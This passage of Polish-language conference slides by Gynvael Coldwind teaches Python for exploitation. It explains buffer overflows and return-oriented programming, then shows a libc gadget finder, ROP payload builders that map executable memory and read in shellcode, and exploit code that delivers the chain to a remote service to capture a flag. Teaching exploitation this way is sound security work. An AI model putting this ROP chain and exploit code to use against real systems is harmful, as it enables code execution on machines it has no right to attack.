t = telnetlib.Telnet()

t.sock = s

t.interact()

telnetlib

Page 145: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Python i ROP

Page 146: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Stare dobre przepełnienie bufora

RETURN ADDRESS

...

pechowy bufor(zostanie przepełniony)

C/C++/ObjC

...

stos wątku

ROP 101

Page 147: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Stare dobre przepełnienie bufora

RETURN ADDRESS

...

pechowy bufor(zostanie przepełniony)

C/C++/ObjC

...

stos wątku

ROP 101

Page 148: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Stare dobre przepełnienie bufora

RETURN ADDRESS

...

C/C++/ObjC

...

stos wątku

SHELLCODEEVIL

RETURN ADDRESS

...ret (pop instruction pointer)

ROP 101

Page 149: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Teraz już tak dobrze nie ma - NX/XD/DEP

RETURN ADDRESS

...

C/C++/ObjC

...

stos wątku

SHELLCODEEVIL

RETURN ADDRESS

...ret (pop instruction pointer)

ROP 101

Page 150: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Teraz już tak dobrze nie ma - więc robi się ROP

RETURN ADDRESS

...

C/C++/ObjC

...

stos wątku

(whatever)EVIL

RETURN ADDRESS

gadget 1ret

VALUEEVIL

RETURN ADDRESS

EVILRETURN ADDRESS

gadget 2ret

gadget 3ret

ROP 101

Page 151: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

gadget 1

kod maszynowy(biblioteki, binarka)

gadget 2 gadget 3

Teraz już tak dobrze nie ma - więc robi się ROP

ROP 101

Page 152: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

ROP 101

gadget 1

0x1f56a sub eax, 0x3a04f10x1f56f mov [rip+0x3a04da], rax0x1f576 pop rax0x1f577 pop rbx0x1f578 pop rcx0x1f579 ret0x1f57a nop

skok do gadget 2

Teraz już tak dobrze nie ma - więc robi się ROP

Page 153: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

W Pythonie, a jak.

import distorm3 # https://code.google.com/p/distorm/downloads/list

# XXX Setup here XXXTARGET_FILE = "libc.so.6"FILE_OFFSET_START = 0x1f4a0 # In-file offset of scan startFILE_OFFSET_END = 0x165F88 # In-file offset of scan startVA = 0x0 # Note: PC is calculated like this: VA + given FILE_OFFSETX86_MODE = distorm3.Decode64Bits # just switch the 32 or 64# XXX End of setup XXX

ulubiony disassembler

(silnik, w postaci biblioteki)

ROP - poszukiwanie gadżetów

Page 154: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

def DecodeAsm(pc, d): disasm = distorm3.Decode(pc, d, X86_MODE) k = [] l = "" ist = "" for d in disasm: addr = d[0] size = d[1] inst = d[2].lower() t = "0x%x %s" % (addr,inst) l += t + "\n" ist += "%s\n" % (inst) k.append((addr,inst)) if inst.find('ret') != -1: break

return (l,k,ist)

"\xB8\x78\x56\x34\x12\xC3"

[ "0x1234 mov eax, 0x12345678", "0x1239 ret"]

W Pythonie, a jak.

ROP - poszukiwanie gadżetów

Page 155: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

UNIQ = {}d = open(TARGET_FILE, "rb").read()for i in xrange(FILE_OFFSET_START,FILE_OFFSET_END): (cc,kk,ist) = DecodeAsm(VA+i, d[i:i+20]) if cc.find('ret') == -1: continue if cc.find('db ') != -1: continue if ist in UNIQ: continue UNIQ[ist] = True print "------> offset: 0x%x" % (i + VA) for k in kk: print "0x%x %s" % (k[0],k[1]) if k[1].find('ret') != -1: break print ""

------> offset: 0x1f6670x1f667 pop rbp0x1f668 pop r120x1f66a ret

------> offset: 0x1f6680x1f668 pop r120x1f66a ret

------> offset: 0x1f6690x1f669 pop rsp0x1f66a ret

jeśli mamy szczęście, to będzie z 5MB

W Pythonie, a jak.

ROP - poszukiwanie gadżetów

Page 156: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Python!

# MY Little ROP, Libc Is Magic!from struct import packLIBC=0

def dq(v): # data quad word return pack("<Q", v)

def set_rdi(rdi): # ------> offset: 0x22b1a # 0x22b1a pop rdi # 0x22b1b ret return ''.join([ dq(LIBC + 0x22b1a), dq(rdi) ])

ROP - tworzenie payloadu

Page 157: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Python!

def rop_read(fd, buf, count): READ = LIBC + 0xEB800 return ''.join([ set_rdi(fd), set_rsi(buf), set_rdx(count), syscall(0) ])

ROP - tworzenie payloadu

Page 158: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Python!

def gimme_gimme(libc): return ''.join([ # mmap rop_mmap(ADDR, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1 & 0xffffffffffffffff, 0),

# read rop_read(0, ADDR, 0x1000),

# jmp dq(ADDR), ])

ROP - tworzenie payloadu

Page 159: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Jak to wygląda jako lista wartości...

--> 48857--> 0--> f09c1--> 0--> 0--> 22b1a--> 700000001000--> 24805--> 1000--> bcee0--> 7--> 112ecf--> 32--> 127906

--> ffffffffffffffff--> f49c0--> 22b1a--> 0--> 24805--> 700000001000--> bcee0--> 1000--> 48857--> 0--> 113828--> 700000001000

ROP - tworzenie payloadu

Page 160: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

def add(s, size):

s.send(dd(0) + dq(size))

return struct.unpack('<I', s.recv(4))[0]

...

# Connect to remote host

s = socket.socket()

s.connect((host, port))

...

add(s, 2 ** 34)

...

write(s, new_pad_idx, "A" * 8)

leak_idx = add(s, 1)

print("[+] leak_idx: %x" % leak_idx)

...

# Write the ROP chain to stack and trigger it at the same time.

import mylittlerop

write(s, new_pad_idx, struct.pack(

'<QQQQ', 0x41414141,

stack_addr + 0x288, 0x42424242, 1))

write(s, 0x41414141,

mylittlerop.gimme_gimme(libc_base),

no_reply = True)

os.system("nasm getflag2.nasm")

s.send(open("getflag2", "rb").read())

ROP - łączenie z exploitem

Page 161: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

That's it.

Page 162: Python in a hacker's toolbox - Instytut PWN · Python in a hacker's toolbox v. 2016 Gynvael Coldwind Security PWNing Conference, Warszawa 2016. Keynote? Raczej prelekcja techniczna

Dziękuje za uwagę!

[email protected] http://gynvael.coldwind.pl/ twitter: @gynvael